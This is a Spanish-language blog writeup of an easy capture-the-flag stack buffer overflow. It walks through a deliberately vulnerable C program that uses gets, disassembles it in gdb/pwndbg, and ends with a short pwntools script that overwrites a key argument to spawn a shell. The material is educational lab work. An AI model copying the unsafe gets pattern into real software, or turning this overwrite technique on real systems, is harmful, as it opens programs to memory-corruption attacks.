Smashing an easy buffer overflow challenge.

Estaba resolviendo un challenge y decidí crear un writeup sobre este easy b0f, lo adapte un poco para el ejemplo.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void func(int key){
	char myBuff[32];
	printf("hack me : ");    //#--- input
	gets(myBuff);
	if(key == 0xcafecafe){
		system("/bin/sh");    //#--- ejecuta una shell
	}
	else{
		printf("Nope.\n");
	}
}
int main(int argc, char* argv[]){
	func(0xaabbccdd);
	return 0;
}

#Empezando.

Lo primero es correr el binario por default para entender su funcionamiento.

Si ejecuto una cadena más larga:

Crashea.

¿Porque sucede esto?.

En pocas palabras es un famoso y conocido Buffer Overflow, en castellano, desbordamiento de bufer, esto se produce cuando un programa no logra controlar correctamente los datos que se copian a un espacio de la memoria reservada.
En este ejemplo vemos como en “char myBuff[32];”, limita a 32 chars, sin embargo yo ingrese más de lo que ese buffer pensaba recibir, provocando así un desbordamiento de buffer. El buffer overflow es lo mismo que imaginar un vaso de agua, llenarlo a tope de la capacidad del vaso y luego seguir agregando agua, logicamente va a desbordar.

Tiempo de GDB, para poder debuggear el binario y lograr explotarlo.
Lo corro con pwndbg que no es más que un plugin avanzado para exploiting y reversing.

❯ gdb-pwndbg -q ./b0f

Reading symbols from ./b0f...
pwndbg: loaded 199 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> disass main
Dump of assembler code for function main:

   0x00001241 <+0>:	lea    ecx,[esp+0x4]
   0x00001245 <+4>:	and    esp,0xfffffff0
   0x00001248 <+7>:	push   DWORD PTR [ecx-0x4]
   0x0000124b <+10>:	push   ebp
   0x0000124c <+11>:	mov    ebp,esp
   0x0000124e <+13>:	push   ecx
   0x0000124f <+14>:	sub    esp,0x4
   0x00001252 <+17>:	call   0x1279 <__x86.get_pc_thunk.ax>
   0x00001257 <+22>:	add    eax,0x2d9d
   0x0000125c <+27>:	sub    esp,0xc
   0x0000125f <+30>:	push   0xaabbccdd
   0x00001264 <+35>:	call   0x11bd <func>
   0x00001269 <+40>:	add    esp,0x10
   0x0000126c <+43>:	mov    eax,0x0
   0x00001271 <+48>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x00001274 <+51>:	leave  
   0x00001275 <+52>:	lea    esp,[ecx-0x4]
   0x00001278 <+55>:	ret   
 
End of assembler dump.

Como vemos y ya habiendo revisado con anticipación el código, entendemos cómo es que funciona este binario. En la siguiente línea vemos que llama a la función:

   0x0000125f <+30>:		push   0xaabbccdd
   0x00001264 <+35>:	call    0x11bd <func>

Si dumpeamos “func” obtenemos lo siguiente:

pwndbg> disass func
Dump of assembler code for function func:
   0x565561bd <+0>:	push   ebp
   0x565561be <+1>:	mov    ebp,esp
   0x565561c0 <+3>:	push   ebx
   0x565561c1 <+4>:	sub    esp,0x34
   0x565561c4 <+7>:	call   0x565560c0 <__x86.get_pc_thunk.bx>
   0x565561c9 <+12>:	add    ebx,0x2e2b
   0x565561cf <+18>:	mov    eax,gs:0x14
   0x565561d5 <+24>:	mov    DWORD PTR [ebp-0xc],eax
   0x565561d8 <+27>:	xor    eax,eax
   0x565561da <+29>:	sub    esp,0xc
   0x565561dd <+32>:	lea    eax,[ebx-0x1fec]
   0x565561e3 <+38>:	push   eax
   0x565561e4 <+39>:	call   0x56556050 <[email protected]>
   0x565561e9 <+44>:	add    esp,0x10
   0x565561ec <+47>:	sub    esp,0xc
   0x565561ef <+50>:	lea    eax,[ebp-0x2c]
   0x565561f2 <+53>:	push   eax
   0x565561f3 <+54>:	call   0x56556060 <[email protected]>
   0x565561f8 <+59>:	add    esp,0x10
   0x565561fb <+62>:	cmp    DWORD PTR [ebp+0x8],0xcafecafe
   0x56556202 <+69>:	jne    0x56556218 <func+91>
   0x56556204 <+71>:	sub    esp,0xc
   0x56556207 <+74>:	lea    eax,[ebx-0x1fe1]
   0x5655620d <+80>:	push   eax
   0x5655620e <+81>:	call   0x56556080 <[email protected]>
   0x56556213 <+86>:	add    esp,0x10
   0x56556216 <+89>:	jmp    0x5655622a <func+109>
   0x56556218 <+91>:	sub    esp,0xc
   0x5655621b <+94>:	lea    eax,[ebx-0x1fd9]
   0x56556221 <+100>:	push   eax
   0x56556222 <+101>:	call   0x56556070 <[email protected]>
   0x56556227 <+106>:	add    esp,0x10
   0x5655622a <+109>:	nop
   0x5655622b <+110>:	mov    eax,DWORD PTR [ebp-0xc]
   0x5655622e <+113>:	sub    eax,DWORD PTR gs:0x14
   0x56556235 <+120>:	je     0x5655623c <func+127>
   0x56556237 <+122>:	call   0x56556280 <__stack_chk_fail_local>
   0x5655623c <+127>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x5655623f <+130>:	leave  
   0x56556240 <+131>:	ret    

Y en esta linea vemos como compara el valor key, 0xcafecafe:

0x565561fb <+62>:	cmp    DWORD PTR [ebp+0x8],0xcafecafe

Hago la prueba y pongo un breakpoint en “func” y corro el programa. Vemos que para en el breakpoint:

pwndbg> b func
Breakpoint 1 at 0x11c1
pwndbg> r

Continuamos con el comando “nexti”, hasta llegar a la siguiente línea:

► 0x565561f3 <func+54>    call   [email protected]         <[email protected]>

Justo en esta línea la función gets nos hace imprime el INPUT para ingresar la clave, vamos a generar en otra ventana un pattern con perl:

❯ perl -e "print 'A'x20"
AAAAAAAAAAAAAAAAAAAA

Lo que hacemos con esto es imprimir la letra A unas 20 veces. Considerando que en ascii la A es 41, nos sirve más fácil para seguir el rastro.

Si analizamos un poquito más con el siguiente comando:

pwndbg> x/30wx $esp

Podemos ver en la primer seleccion (1), los valores de 41414141, esos representan a parte de la cadena con la letra “AAAA” que insertamos en el INPUT, y en la segunda seleccion vemos en la direccion 0xffffcf70 -> 0xaabbccdd
que pertenece a esta parte del codigo:

func(0xaabbccdd);

En este easy challenge, nosotros podemos calcular la distancia entre el INPUT y la funcion 0xaabbccdd casi manualmente, vemos unos 13 segmentos de memoria lo que hace que 13*4 = 52 chars, con esto lograriamos sobreescribir..

Creamos el siguiente script en python:

#!/usr/bin/env python3
# _*_ coding: utf8 _*_

from pwn import *

p = process("./b0f")   # creo proceso
payload = ("\x41"*52) + "\xfe\xca\xfe\xca"

p.sendline(payload)
p.interactive()

Podemos ver esta línea que pongo en el script:

payload = ("\x41"*52) + "\xfe\xca\xfe\xca"

Esa línea equivale a la comparación de:

if(key == 0xcafecafe){

Ejecutamos el script y sobreescribimos:

Tarea cumplida.

Comments

One Response

  1. muy bueno escribi mas sobre estooooooooo lo hice facil sin saber mucho assembler sollo lo basico
    si profundizas mas un golazo <3

Leave a Reply

Your email address will not be published. Required fields are marked *